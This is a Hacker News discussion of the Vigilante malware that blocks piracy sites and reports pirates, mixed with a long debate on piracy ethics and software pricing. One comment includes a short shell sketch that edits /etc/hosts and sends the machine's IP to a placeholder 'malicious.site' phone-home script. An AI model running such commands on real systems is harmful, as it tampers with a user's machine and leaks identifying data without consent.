Newly discovered Vigilante malware outs software pirates and blocks them
arstechnica.com
arstechnica.com
There's an entire wikipedia article listing them! [1]
[1] https://en.wikipedia.org/wiki/Comparison_of_BitTorrent_sites
Clearly that is the intent. These companies have no shame. Remember Sony's response to their rootkit being discovered? https://en.m.wikipedia.org/wiki/Sony_BMG_copy_protection_roo...
But other commenters are right. It is compatible with being written by an independent vigilante, and it is compatible with being written by or on behalf of stakeholders.
I will withhold conclusion until further evidence is tendered.
Do you think this was backed by companies? It seems reasonable to suspect it, but it’s a issue radioactive now so won’t be easy to find out.
*(Unrelated to the CFD software, obviously)
This was the stuff the New York AG investigation unraveled:
https://ag.ny.gov/press-release/2021/attorney-general-james-...
https://arstechnica.com/tech-policy/2021/05/biggest-isps-pai...
(From Ars: "With broadband companies having used third-party vendors to conduct the campaign, the AG said it found no evidence that ISPs themselves "had direct knowledge" of the fraudulent behavior.")
Frankly I'd be shocked if it wasn't.
It could be some kind of Robinhood vigilante figure, but that's a hard sell for me given the already-known abusive history and tactics of the game industry.
Here's another hard sell : it's the TPB people releasing it in an effort to reduce their hosting costs. (It's not, but since we're throwing everything at the wall to see what sticks, why not?)
Many of these video game groups write root-kit style DRM mechanisms for a living; given the (shady) history & experience at the task, it's not a far leap to assume that one of these groups would irresponsibly combine the efforts, if given enough legal ambiguity and a long enough paper-trail to make legal harassment separated from the major group.
Personal anecdote : it's often talked about within game-cheating circles that mega-game groups actually take part in the ownership and funding of groups that sell third-party 'cheating' software. This new virus-writing behavior wouldn't surprise me in the least.
from the sound of the article, the malware sounds extremely unsophisticated, though. It edits your hostname, sends your ip and what you downloaded to some php script, and that's it. it doesn't even persistently install itself in any way. Basically anyone could put something like this together without much skill required. Not even disputing this wouldn't come from some sort of ip-based adjacent company, but I doubt it would be written by the same people who write DRM software
It seems very strange.
On the contrary, it makes one curious. Is it an attempt to ensnare the victim into heightened surveillance and suspicion (and hence higher likelihood of coming to harm) from governments, based on the assumption that their own malware uses these keywords to scan for targets? Or perhaps it creates some other kind of liability for the victim.
Look, if you have skills like these, you're special. Don't fucking waste it on building malware for corporate asshats.
Not to say there aren't some folks wasting time on more clever malware.
Red team at pentest companies
Law enforcement
Just about any level of effort will be better spent than going after software pirates, even if you end up only doing entry level jobs. Throw a dart blindfolded and you'll probably end up better than this.
If you can do this, you can learn more advanced stuff. Society has bigger problems than getting some free software, and it's not just a lesser problem - it's scraping the bottom of the barrel of justice.
If someone needed to write this to pay bills, I get it, but they should immediately take this and use it to get a better job.
But I do agree with your sentiment, people doing things like this should apply their talents to better causes.
echo "127.0.0.1 thepiratebay.org" >> /etc/hosts
MY_IP=$(curl ifconfig.me)
curl malicious.site/phone_home.php?ip=$MY_IP
(which isn't to say that this is the approach the malware is taking, but it _can_ be)The hardest part is writing and hosting the aforementioned malicious.site server, but storing user input isn't anything you wouldn't see in the average beginner tutorial.
Many people do both, sometimes in a weird, selective way. I know I do, I pirate a lot, yet if I really care about something (or it's harder to obtain, which is kind of equalizing authors' profits), I will buy it.
Wait, only the last one is true. It's almost as if intellectual schmoperty violations is not a real problem.
Companies like MS and Adobe know this. They have to perform regular anti pitacy charades, but they vastly prefer someone pirating -a potential future buy- to someone buying an alternative - an actual lost sale.
Same dynamic in hollywood: Pirating a film is vastly better for them than finding alternative hobbies and not buying the series merchandise.
Adobe was in the same situation years ago. It provided products generating thousands of dollars in value a year for professionals and the corporate world. Photoshop CS6 cost $700, the version of it for "students" $250. This put it well out of the budget range of most ordinary people. Photoshop was built for a relatively small target audience. You might argue that piracy was the normal, expected solution to this. The "real" customers were supposed to pay for it. Either way, this generated a lot of ill will toward Adobe and turned pirating Photoshop into a bit of a meme.
That changed when Adobe realized you could nickle and dime people out of the same amount of money in the long run. The photography subscription (Photoshop + Lightroom) costs $720 over six years. Given that Adobe offered upgrade promotions (e.g. CS5 to CS6) for about half off, it's roughly the same price as it was before. This approach makes it much more palatable to the average consumer (for the same reason that people are willing to buy sofas on payment plans). The only people this pisses off are a handful of hardcore users who expect to "own" all the software they use, but probably not the corporate world which is used to paying subscriptions. It almost certainly makes them far more money through making the software available to those who can't (or won't) pay the one-time price.
> The only people this pisses off are a handful of hardcore users who expect to "own" all the software they use
Also the people that want to be able to access their files forever. Not only when people chose to stop paying, Adobe won't even let people pay for some of the old versions of their subscription software. Hope it imports into the new version correctly!
Very interesting analysis. I was inclined to doubt it so I checked and you are absolutely right: Adobe does indeed have a Photoshop + Lightroom bundle [0] that costs ~$10/month or $119.88/yr, such that it comes to $720 over a six-year period.
[0] https://www.adobe.com/products/photoshop-lightroom/pricing-i...
Now as far as I know, there aren't any -good- film editing alternatives that are free. I have tried a fair few open source alternatives and they are pitiful compared to adobe premiere. So while I can't recommend pirating, if you're a film student... I can understand it. It's how the industry is, sadly.
I've only used it for fairly basic work, but DaVinci Resolve[1] seems pretty good. Not open source, but the free version is licenced for commercial use and AFAICT it seems to have a fairly complete feature set. I suspect it would be sufficient for many use cases.
[1] https://www.blackmagicdesign.com/uk/products/davinciresolve/...
Resolve is probably one of the software packages with the most intelligent free / paid feature split out there. The free version is really, really good and has almost no limitations, but professionals will want the paid version to get the last few percent out of it.
There's a little bit of a learning curve to Resolve for casual use, but since Resolve 16 has gotten the "cut" page the learning curve has been flattened quite a lot I'd say. Overall it's fantastic software.
I don't think it's an overstatement to say that hundreds of millions of people can't afford an 80 EUR/USD game.
Right now, I can't afford to buy a classic '60s gibson guitar. That doesn't give me the license to go out and steal one, -because I want one-.
If modern AAA games are too much at $80, then don't buy them. There are significantly cheaper alternatives on PC, as well as the possibility of waiting for deals or buying used. High prices don't justify pirating.
Regardless, merely desiring something is not a justification to pirate things.
People also use sci-hub do avoid paying to publishers. Where do you draw a line?
Steam has it mostly figured out, though. Look at SteamDB at international prices and you'll discover that prices in Brazil or Russia are often a fraction of the US/EU price. Turns out selling the game for dirt cheap makes more money than not selling it.
I would say it's still unethical and wrong, regardless if we can't point to a specific entity being hurt. It is entitlement to want something for free when one can't afford it. There are -so- many games nowadays, and many of them are not even close to $60. And as mentioned, steam is generally aware of regional currency discrepancies.
And I would argue accepting or condoning pro-piracy attitudes is harmful in the long run versus accepting that one can't just take things that one wants, and paying for things when able.
Top AAA makers also get incredibly high profits while underpaying their employees. And the prices on their games go up simply because they can.
Pirating software you can afford is a different equation (still not as bad as the theft of a physical item) but not what is being discussed.
The same rich people trying to sell predatory subscriptions and vendor lock-in are the same ones trying to raise my rent and food bill every year, so I have no incentive to give them money for pointless entertainment on top of that.
I feel I'm reading Deepak Chopra - individual words are fine and you'd swear sentence should make sense... But it doesn't, no matter how many times you read it.
Not paying for something makes it unproductive? And you don't feel there are easy trivial immediate counter-examples for your axiom with big-boy words?
People should be paid for their work. Pirating doesn't pay them for their work. Work includes art and media. I'm not sure how I can state this more simply.
I'm not sure why this is even a complicated topic. With literally everything else, if you want something, you need to pay to acquire it because it took time and resources to make. That doesn't go away just because the end product is digital.
The thing is that making a copy of something digital is really really cheap compared to something physical. The difference between the cost of producing one copy of a software or music and a million is way lower than for a physical object.
It's also funny that you're upset about the guy pirating software (lifetime economic impact in 10s of thousands of dollars) but not the games publishers themselves who regularly dodge taxes - in some cases paying effectively negative tax rates[1] (lifetime impacts in the 10ss of millions of dollars if not more).
[1] https://www.fanbyte.com/news/americans-paid-activision-blizz...
Where did I say I support publishers not paying their taxes or treating employees unfairly? Those are separate issues completely unrelated to the one we're discussing. (Obviously, I think everyone should pay taxes fairly and treat their employees fairly.)
Company A doing bad thing B does not mean we morally justify crime C. Either pay for the thing you -want, not need-, or don't if you don't support various actions or stances from the company. This also is based on the premise that all media comes from bad corporations, which is not true. Many artists these days can be supported directly, self publish, etc.
Also, I'm not "upset", nor am I looking at one singular individual. I am looking at this from a societal and long-term perspective of the long-term effects of people pirating media.
But I still find it intriguing when I see rambling half baked internally self-contradictory attempts at moral justification - do you believe what you said there? Do you even know what you said there? Cause I'm having a hard time following - Food has inflation therefore I'll pirate movies even though they're pointless, and this is just and right?
It takes minimal amount of empathy and observation to notice hard work talented creative people put into "pointless entertainment", so just like I don't buy the notion that every pirate is evil sociopathic villain, so I don't buy notion that watching entertainment for free is inherent right and creators don't deserve any compensation ever. If anything, this type of incoherence and self righteousness feeds exactly the stereotype mpaa / riaa try to portray...
No it's not me, I don't even play games that much
Seems like it wouldn't be a good look for them if so.
The MPAA itself has been accused of copyright infringement on multiple occasions. In 2007, the creator of a blogging platform called Forest Blog accused the MPAA of violating the license for the platform, which required that users link back to the Forest Blog website. The MPAA had used the platform for its own blog, but without linking back to the Forest Blog website. The MPAA subsequently took the blog offline, and explained that the software had been used on a test basis and the blog had never been publicized.[121][122]
Also in 2007, the MPAA released a software toolkit for universities to help identify cases of file sharing on campus. The software used parts of the Ubuntu Linux distribution, released under the General Public License, which stipulates that the source code of any projects using the distribution be made available to third parties. The source code for the MPAA's toolkit, however, was not made available. When the MPAA was made aware of the violation, the software toolkit was removed from their website.[123]
In 2006, the MPAA admitted having made illegal copies of This Film Is Not Yet Rated (a documentary exploring the MPAA itself and the history of its rating system)[124] — an act which Ars Technica explicitly described as hypocrisy[125] and which Roger Ebert called "rich irony".[126]
> Many people who routinely download stuff like add-ons or mods to games this get advice to turn off their antivirus or endpoint protection, gamers are susceptible to this kind of deception. When the malware ran, it looks like it just crashed with an error dialog.
https://twitter.com/threatresearch/status/140557255709341286...
Anyway, writing something to a HOST file is not that incredible… regarding the motive, that might as well be a troll, or an attempt to drive traffic to private trackers.
If you open the iPhone, yay, you don’t pay the Apple tax, but now you’ve got piracy that wasn’t there. You replaced Apple tax with Pirate tax.
For the record, I still support unlocking iPhones and other such devices. I’m just in doubt that removing Apple 30% cut = 25% more money after credit card fees. Maybe 5-10% more money if any?
If I was a smaller developer making less than a million a year and only paying the 15% commission (or 10% after credit cards) I might find myself wanting Epic and other unlock attempts to fail, for fear the pirates will be worse than Apple’s cut.
Furthermore, over the years the percentage of paid apps on the App Store has decreased. What this means is that the opposite of what you claim is true: iOS users have been trained to prefer free things.
I'm not so sure that it is as clear-cut as you describe. Over the same time period, the total number of free and paid apps on the App Store has increased. To arrive at a reasonable understanding of the effects of free apps, we will need to plot the ratio of paid-to-free apps to see if the ratio has been steadily declining, has stayed roughly the same, or has been increasing, on a year-to-year basis.
Also "root" is Android terminology.
The villain we don't want or need
Its also strange that people are willing to spend $thousands on a gaming PC, and then risk their entire device to malware just to save a couple bucks on games.
Some things aren’t available in my region and never will be (as they are 20+ years old).
Some things are presented via a crap app, in dubious formats or with truely horrible DRM. I pirate plenty of shows that I have legal access to or own.
Often the UX of pirating a thing is easier than legally acquiring it.
Maybe not true for AAA games, but def true for most movies/series.
If your outside of the US, often a lot of content isn’t even available because of shitty geo licensing
This is one case where I understand people pirating. I watch some shows from other countries that simply are not published in the US or aren't for sale at all. And sometimes if they are available, certain elements are changed due to copyright reasons so it's not exactly the same.
Another reason would be horrible DRM. Again, I wouldn't recommend pirating based on that, but I do understand it. Pirated content doesn't have DRM dictating when, where, or what time(s) I can view the damn thing I paid money for. I also find it fine if someone buys a DRM-locked product, then pirates the same thing to avoid dealing with the DRM.